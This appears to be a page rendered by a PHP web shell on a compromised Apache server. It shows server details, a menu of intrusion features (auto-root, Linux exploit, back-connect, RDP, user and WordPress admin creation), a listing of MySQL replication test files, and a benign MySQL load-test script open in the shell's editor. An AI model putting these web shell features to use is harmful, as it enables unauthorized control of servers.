Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 3.22.41.47
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
server /
mysql /
mysql-test /
extra /
rpl_tests /
[ HOME SHELL ]
Name
Size
Permission
Action
check_type.inc
2.29
KB
-rw-r--r--
create_recursive_construct.inc
16.61
KB
-rw-r--r--
create_recursive_construct_stm...
16.48
KB
-rw-r--r--
delayed_slave_wait_on_query.in...
1.59
KB
-rw-r--r--
gtid_disconnect_drop_temporary...
3.11
KB
-rw-r--r--
rpl_EE_err.test
1.03
KB
-rw-r--r--
rpl_auto_increment.test
8.63
KB
-rw-r--r--
rpl_auto_increment_insert_view...
1.37
KB
-rw-r--r--
rpl_auto_increment_invoke_trig...
2.47
KB
-rw-r--r--
rpl_autoinc_func_invokes_trigg...
1.78
KB
-rw-r--r--
rpl_binlog_max_cache_size.test
18.23
KB
-rw-r--r--
rpl_blackhole.test
1.03
KB
-rw-r--r--
rpl_change_master.test
10.46
KB
-rw-r--r--
rpl_change_master_bind.inc
2.23
KB
-rw-r--r--
rpl_charset.test
4.45
KB
-rw-r--r--
rpl_check_gtid.inc
4.87
KB
-rw-r--r--
rpl_commit_after_flush.test
272
B
-rw-r--r--
rpl_conflicts.test
5.45
KB
-rw-r--r--
rpl_crash_safe.inc
4.13
KB
-rw-r--r--
rpl_crash_safe.test
7.61
KB
-rw-r--r--
rpl_create_msr_channels.inc
2.53
KB
-rw-r--r--
rpl_db_stmts_ignored.inc
1.7
KB
-rw-r--r--
rpl_ddl.test
21.62
KB
-rw-r--r--
rpl_deadlock.test
6.05
KB
-rw-r--r--
rpl_delete_no_where.test
523
B
-rw-r--r--
rpl_do_table_filter_insensitiv...
492
B
-rw-r--r--
rpl_do_table_filter_sensitive....
491
B
-rw-r--r--
rpl_drop_create_temp_table.inc
29.79
KB
-rw-r--r--
rpl_drop_create_temp_table.tes...
17.8
KB
-rw-r--r--
rpl_drop_multiple_tables.inc
4
KB
-rw-r--r--
rpl_drop_multiple_tables_in_mu...
1.18
KB
-rw-r--r--
rpl_extra_col_master.test
31.93
KB
-rw-r--r--
rpl_extra_col_slave.test
28.76
KB
-rw-r--r--
rpl_failed_optimize.test
666
B
-rw-r--r--
rpl_filters.test
530
B
-rw-r--r--
rpl_flsh_tbls.test
1.86
KB
-rw-r--r--
rpl_foreign_key.test
1.7
KB
-rw-r--r--
rpl_generate_mts_gap.test
1.6
KB
-rw-r--r--
rpl_generate_mts_gap_with_miss...
3.22
KB
-rw-r--r--
rpl_generate_mts_gap_with_miss...
408
B
-rw-r--r--
rpl_get_master_version_and_clo...
2.88
KB
-rw-r--r--
rpl_gtid_drop_table.inc
1.11
KB
-rw-r--r--
rpl_gtid_mixed_rows_and_stmts_...
3.35
KB
-rw-r--r--
rpl_gtid_mts_relay_log_recover...
4.39
KB
-rw-r--r--
rpl_gtid_temp_table_in_func_or...
3.69
KB
-rw-r--r--
rpl_gtids_restart_slave_io_los...
3.48
KB
-rw-r--r--
rpl_heartbeat_2slaves.inc
4.27
KB
-rw-r--r--
rpl_ignore_super_read_only.tes...
6.19
KB
-rw-r--r--
rpl_ignore_table_filter_insens...
508
B
-rw-r--r--
rpl_ignore_table_filter_sensit...
506
B
-rw-r--r--
rpl_implicit_commit_binlog.tes...
17.22
KB
-rw-r--r--
rpl_innodb.test
4.53
KB
-rw-r--r--
rpl_insert_id.test
15.12
KB
-rw-r--r--
rpl_insert_id_pk.test
2.65
KB
-rw-r--r--
rpl_insert_ignore.test
4.9
KB
-rw-r--r--
rpl_kill_query.inc
4.14
KB
-rw-r--r--
rpl_loaddata.test
8.91
KB
-rw-r--r--
rpl_loaddata_s.inc
896
B
-rw-r--r--
rpl_loadfile.test
1.08
KB
-rw-r--r--
rpl_log.test
3.9
KB
-rw-r--r--
rpl_lower_case_table_names.tes...
4.07
KB
-rw-r--r--
rpl_max_relay_size.test
2.58
KB
-rw-r--r--
rpl_mixing_engines.inc
23.15
KB
-rw-r--r--
rpl_mixing_engines.test
54.43
KB
-rw-r--r--
rpl_mts_crash_safe.inc
5.92
KB
-rw-r--r--
rpl_mts_crash_safe.test
6.74
KB
-rw-r--r--
rpl_mts_execute_partial_trx_in...
1.11
KB
-rw-r--r--
rpl_mts_pending_events.inc
4.91
KB
-rw-r--r--
rpl_mts_relay_log_recovery.tes...
2.93
KB
-rw-r--r--
rpl_mts_transaction_retry.inc
7.9
KB
-rw-r--r--
rpl_multi_query.test
782
B
-rw-r--r--
rpl_multi_source_corrupt_repos...
18.31
KB
-rw-r--r--
rpl_multi_source_generate_mts_...
2.11
KB
-rw-r--r--
rpl_multi_update.test
805
B
-rw-r--r--
rpl_multi_update2.test
1.35
KB
-rw-r--r--
rpl_multi_update3.test
4.52
KB
-rw-r--r--
rpl_not_null.test
10.76
KB
-rw-r--r--
rpl_parallel_ddl.test
5.35
KB
-rw-r--r--
rpl_parallel_load.test
6.1
KB
-rw-r--r--
rpl_parallel_load_innodb.test
7
KB
-rw-r--r--
rpl_parallel_recovery_core.tes...
6.74
KB
-rw-r--r--
rpl_partition.test
7.88
KB
-rw-r--r--
rpl_perfschema_applier_xa_stat...
2.96
KB
-rw-r--r--
rpl_perfschema_order_by.test
3.12
KB
-rw-r--r--
rpl_record_compare.test
2.1
KB
-rw-r--r--
rpl_relayrotate.test
2.68
KB
-rw-r--r--
rpl_replication_observers_exam...
2.61
KB
-rw-r--r--
rpl_reset_slave.test
3.82
KB
-rw-r--r--
rpl_reset_slave_all_thread_saf...
1.2
KB
-rw-r--r--
rpl_rollback_to_savepoint.inc
7.54
KB
-rw-r--r--
rpl_row_001.test
2.68
KB
-rw-r--r--
rpl_row_UUID.test
2.61
KB
-rw-r--r--
rpl_row_basic.test
24.58
KB
-rw-r--r--
rpl_row_blob.test
5.57
KB
-rw-r--r--
rpl_row_empty_imgs.test
5.69
KB
-rw-r--r--
rpl_row_event_max_size.inc
4.05
KB
-rw-r--r--
rpl_row_func003.test
3.13
KB
-rw-r--r--
rpl_row_idempotency.test
8.39
KB
-rw-r--r--
rpl_row_img.test
8.23
KB
-rw-r--r--
rpl_row_img_blobs.test
5.82
KB
-rw-r--r--
rpl_row_img_diff_indexes.test
9.11
KB
-rw-r--r--
rpl_row_sp002.test
5.26
KB
-rw-r--r--
rpl_row_sp003.test
2.02
KB
-rw-r--r--
rpl_row_sp006.test
2.78
KB
-rw-r--r--
rpl_row_sp007.test
1.5
KB
-rw-r--r--
rpl_row_tabledefs.test
7.97
KB
-rw-r--r--
rpl_seconds_behind_master_mts_...
12.04
KB
-rw-r--r--
rpl_seconds_behind_master_mts_...
10.2
KB
-rw-r--r--
rpl_semi_sync_ack_thread.inc
676
B
-rw-r--r--
rpl_semi_sync_after_sync.test
4.82
KB
-rw-r--r--
rpl_semi_sync_deadlock.test
1.46
KB
-rw-r--r--
rpl_semi_sync_group_commit_dea...
1.71
KB
-rw-r--r--
rpl_set_null.test
2.85
KB
-rw-r--r--
rpl_sp.test
17.69
KB
-rw-r--r--
rpl_split_statements.test
17.96
KB
-rw-r--r--
rpl_start_stop_slave.test
5.4
KB
-rw-r--r--
rpl_stm_EE_err2.test
1.5
KB
-rw-r--r--
rpl_stm_create_if_not_exists.t...
6.87
KB
-rw-r--r--
rpl_stop_middle_group.test
5.17
KB
-rw-r--r--
rpl_stop_slave.test
1.56
KB
-rw-r--r--
rpl_stress_test.inc
2.21
KB
-rw-r--r--
rpl_sv_relay_space.test
921
B
-rw-r--r--
rpl_sync_relay_log_info.inc
9.02
KB
-rw-r--r--
rpl_sync_relay_log_info_assert...
3.23
KB
-rw-r--r--
rpl_temp_error.test
623
B
-rw-r--r--
rpl_temporary.test
10.6
KB
-rw-r--r--
rpl_test_framework.inc
2.42
KB
-rw-r--r--
rpl_tmp_table_and_DDL.test
4.8
KB
-rw-r--r--
rpl_trig004.test
1.7
KB
-rw-r--r--
rpl_truncate.test
425
B
-rw-r--r--
rpl_truncate_helper.test
976
B
-rw-r--r--
rpl_trx_boundary_parser.inc
1.59
KB
-rw-r--r--
rpl_trx_boundary_parser_all_st...
7.19
KB
-rw-r--r--
rpl_trx_boundary_parser_one_st...
3.69
KB
-rw-r--r--
rpl_trx_boundary_parser_warnin...
4.51
KB
-rw-r--r--
rpl_variables_stm.test
24.26
KB
-rw-r--r--
rpl_xa_gtid_next.inc
2.46
KB
-rw-r--r--
rpl_xa_mixed_engines.inc
1.89
KB
-rw-r--r--
type_conversions.test
23.7
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : rpl_parallel_load_innodb.test
# # This is a load generator to call from rpl_parallel and rpl_sequential tests # # # load volume parameter # --source include/have_myisam.inc let $iter = 20; let $init_rows= 50; # # Distribution of queries within an iteration: # legends: # auto = auto_increment=1, trans = inside BEGIN-COMMIT, # del = Delete, ins =- Insert, upd = Update # let $ins_auto_wk= 1; let $ins_auto_nk= 1; let $ins_trans_wk= 1; let $ins_trans_nk= 1; let $upd_trans_nk= 0; let $upd_trans_wk= 1; let $del_trans_nk= 0; let $del_trans_wk= 1; # windows run on PB2 is too slow to time out disable_query_log; if (`select convert(@@version_compile_os using latin1) IN ("Win32","Win64","Windows") as "TRUE"`) { let $iter = 10; } enable_query_log; let $databases = 16; connection slave; call mtr.add_suppression('Slave: Error dropping database'); ## todo: fix source include/stop_slave.inc; start slave; connection master; --disable_query_log --disable_result_log let $i = $databases + 1; while($i) { let $i1 = $i; dec $i1; eval create database test$i1; eval use test$i1; create table ti_nk (a int, b int, c text) engine=innodb; create table ti_wk (a int auto_increment primary key, b int, c text) engine=innodb; let $l1= $init_rows; while($l1) { eval insert into ti_nk values($l1, $i1, uuid()); dec $l1; } # this table is special - just for timing. It's more special on test0 db # where it contains master timing of the load as well. create table benchmark (state text) engine=myisam; # timestamp keep on the slave side dec $i; } --enable_result_log --enable_query_log --source include/sync_slave_sql_with_master.inc #connection slave; --disable_query_log --disable_result_log let $i = $databases + 1; while($i) { let $i1 = $i; dec $i1; eval use test$i1; alter table benchmark add ts timestamp not null default current_timestamp; dec $i; } --enable_result_log --enable_query_log # not gather events into relay log w/o executing yet stop slave sql_thread; ##call p1(1); connection master; --disable_query_log --disable_result_log # # Load producer # # initial timestamp to record # the extra ts col on slave is effective only with the STMT format (todo: bug-report) set @save.binlog_format= @@session.binlog_format; set @@session.binlog_format=STATEMENT; let $i = $databases + 1; while($i) { let $i1 = $i; dec $i1; eval use test$i1; insert into benchmark set state='slave takes on load'; dec $i; } set @@session.binlog_format= @save.binlog_format; connection slave; use test0; insert into benchmark set state='master started load'; connection master; while ($iter) { let $i = $databases + 1; while ($i) { let $i1 = $i; dec $i1; eval use test$i1; let $ins= $ins_auto_nk; while ($ins) { eval insert into ti_nk values($iter, $i1, uuid()); dec $ins; } let $ins= $ins_auto_wk; while ($ins) { eval insert into ti_wk values(null, $i1, uuid()); dec $ins; } begin; let $ins= $ins_trans_nk; while ($ins) { eval insert into ti_nk values($iter, $i1, uuid()); dec $ins; } let $ins= $ins_trans_wk; while ($ins) { eval insert into ti_wk values(null, $i1, repeat('a', round(rand()*10))); dec $ins; } let $min=`select min(a) from ti_nk`; let $del= $del_trans_nk; while ($del) { eval delete from ti_nk where a= $min + $del; dec $del; } let $min=`select min(a) from ti_nk`; let $del= $del_trans_wk; while ($del) { eval delete from ti_wk where a= $min + $del; dec $del; } let $upd= $upd_trans_nk; while ($upd) { update ti_nk set c= uuid(); dec $upd; } let $upd= $upd_trans_wk; while ($upd) { update ti_wk set c= uuid(); dec $upd; } commit; dec $i; } dec $iter; } connection slave; use test0; insert into benchmark set state='master ends load'; connection master; # terminal timestamp to record let $i = $databases + 1; set @save.binlog_format= @@session.binlog_format; set @@session.binlog_format=STATEMENT; while($i) { let $i1 = $i; dec $i1; eval use test$i1; insert into benchmark set state='slave is supposed to finish with load'; dec $i; } set @@session.binlog_format= @save.binlog_format; --enable_result_log --enable_query_log connection slave; ## todo: record start and end time of appying to compare times of # parallel and sequential execution. --disable_result_log insert into test0.benchmark set state='slave is processing load'; # To force filling timestamp cols with the slave local clock values # to implement benchmarking. # TODO: replace with another algorithm #set @save.mts_exp_slave_local_timestamp=@@global.mts_exp_slave_local_timestamp; #set @@global.mts_exp_slave_local_timestamp=1; start slave sql_thread; let $wait_timeout= 600; let $wait_condition= SELECT count(*)+sleep(1) = 5 FROM test0.benchmark; source include/wait_condition_or_abort.inc; use test0; insert into benchmark set state='slave ends load'; # cleanup for files that could not be removed in the end of previous invocation. let $MYSQLD_DATADIR= `select @@datadir`; --remove_files_wildcard $MYSQLD_DATADIR *.out use test; let $benchmark_file= `select replace(concat("benchmark_",uuid(),".out"),"-","_")`; --replace_regex /benchmark_.*.out/benchmark.out/ eval select * from test1.benchmark into outfile '$benchmark_file'; select ts from test0.benchmark where state like 'master started load' into @m_0; select ts from test0.benchmark where state like 'master ends load' into @m_1; select ts from test0.benchmark where state like 'slave takes on load' into @s_m0; select ts from test0.benchmark where state like 'slave is supposed to finish with load' into @s_m1; select ts from test0.benchmark where state like 'slave ends load' into @s_1; select ts from test0.benchmark where state like 'slave is processing load' into @s_0; let $delta_file= `select replace(concat("delta_",uuid(),".out"),"-","_")`; --replace_regex /delta_.*.out/delta.out/ eval select time_to_sec(@m_1) - time_to_sec(@m_0) as 'delta_m', time_to_sec(@s_1) - time_to_sec(@s_0) as 'delta_s', time_to_sec(@s_m1) - time_to_sec(@s_m0) as 'delta_sm' into outfile '$delta_file'; # # Consistency verification # let $i = $databases + 1; while($i) { let $i1 = $i; dec $i1; # removing uuid() non-deterministic last collumn with statement format connection master; --disable_query_log if (`select @@global.binlog_format like 'statement'`) { eval alter table test$i1.ti_nk drop c; eval alter table test$i1.ti_wk drop c; } --disable_query_log --source include/sync_slave_sql_with_master.inc let $diff_tables=master:test$i1.ti_nk, slave:test$i1.ti_nk; source include/diff_tables.inc; let $diff_tables=master:test$i1.ti_wk, slave:test$i1.ti_wk; source include/diff_tables.inc; dec $i; } --enable_result_log --enable_query_log connection master; --disable_query_log --disable_result_log let $i = $databases + 1; while($i) { let $i1 = $i; dec $i1; eval drop database test$i1; dec $i; } --enable_result_log --enable_query_log --source include/sync_slave_sql_with_master.inc
Close
